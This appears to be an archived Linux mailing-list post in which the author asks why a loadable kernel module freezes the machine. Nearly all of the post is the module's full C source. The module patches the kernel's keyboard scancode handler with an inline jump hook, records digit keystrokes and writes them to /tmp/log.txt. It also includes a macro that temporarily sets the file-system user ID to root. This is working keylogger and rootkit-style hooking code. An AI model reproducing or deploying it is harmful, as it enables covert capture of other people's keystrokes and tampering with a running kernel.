[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

the pc hungs when using Loadable kernel module



Dear all,
I have written a loadable module to 'steal' the input from the
keyboard and write them into a file.(/tmp/log.txt). The program works
fine,but sometimes it hungs for no reason, for example, the LKM is
loaded , but the pc is left alone with writing anything. I wonder if
it's because the process to write in the file makes this kind of
problem. plz see the attachment full code below. any advice and
suggestion is appreciated.
Qiang



#ifndef __KERNEL_SYSCALLS__
#define __KERNEL_SYSCALLS__
#endif

#include <net/tcp.h>
#include <net/udp.h>

#include <linux/version.h>
#include <linux/module.h>

#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/smp_lock.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/interrupt.h>
#include <linux/proc_fs.h>
#include <linux/spinlock.h>
#include <linux/netdevice.h>
#include <linux/etherdevice.h>
#include <linux/inet.h>
#include <linux/tty.h>

#include <asm/uaccess.h>
#include <asm/checksum.h>
#include <asm/processor.h>
#include <asm/unaligned.h>
#include <asm/uaccess.h>
#include <asm/errno.h>
#include <asm/io.h>


/* Deal with CONFIG_MODVERSIONS */

#if CONFIG_MODVERSIONS == 1
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <sys/syscall.h>
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif
/*************************************************************/

void (*handle_scancode) (unsigned char, int) =
        (void (*)(unsigned char, int)) HS_ADDRESS;



#define CODESIZE 7

static char original_hs[7];

static char hs_jump[CODESIZE] =
       "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
       "\xff\xe0"                  /*      jmp    *%eax    */
;

int
write_to_file( char *buf, int size);

// BARCODE format:   -XX   (X is number) 

#define BARCODESIZE 3
#define Buffersize 50

#define Wrong 0
int log_scancode(char *logfile, char *buf, int size);
static int count=0;
static int j=0;

char keyinfo[10];


#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }



/* Macros used to write to logfile */
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)

#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; }




void _handle_scancode(unsigned char scancode, int down)
{
	unsigned char temp ;
	if (down)
	{
		switch(scancode)
		{
	 			case 0x02: temp ='1'; break;
	   	 		case 0x03: temp ='2';break;
				case 0x04: temp ='3';break;
				case 0x05: temp ='4';break;
				case 0x06: temp ='5';break;
				case 0x07: temp ='6';break;
				case 0x08: temp ='7';break;
				case 0x09: temp ='8';break;
				case 0x0a: temp ='9';break;
				case 0x0b: temp ='0';break;			
								                                                default: temp=
0x01;break;
		}
	
		if ( temp == '-')
			count =1;

		if (temp != 0x01 && count == 1  )
		{	
			keyinfo[j++]= temp;
			
			if (j >= 3 )
			{	
				write_to_file( keyinfo, strlen(keyinfo));
				count = 0 ; 
				j=0; 	
			}	
		}	
	
		if (scancode == 0x1c ) count = 0;	
	}		
	
	memcpy( handle_scancode,original_hs,CODESIZE);
	handle_scancode(scancode,down);	
	memcpy(handle_scancode,hs_jump,CODESIZE);

}




int
write_to_file( char *buf, int size)
{
	int ret = 0;
	struct file *f = NULL;

	lock_kernel();
	BEGIN_KMEM;
	f = filp_open("/tmp/log.txt", O_CREAT | O_APPEND, 00600);

	if (IS_ERR(f)) {
		
		ret = -1;
	} else {
		if (WRITABLE(f))
			_write(f, buf, size);
		else {
			
			ret = -1;
		}

		ret = filp_close(f, NULL);		
	}
	END_KMEM;
	unlock_kernel();

	return ret;
}



int init_module()
{


	*(long *)&hs_jump[1]= (long)_handle_scancode;
	
	memcpy(original_hs, handle_scancode,CODESIZE);
	memcpy(handle_scancode,hs_jump,CODESIZE);
	return 0;
}

void
cleanup_module()
{
	memcpy(handle_scancode, original_hs, CODESIZE);

	
}



Reply to: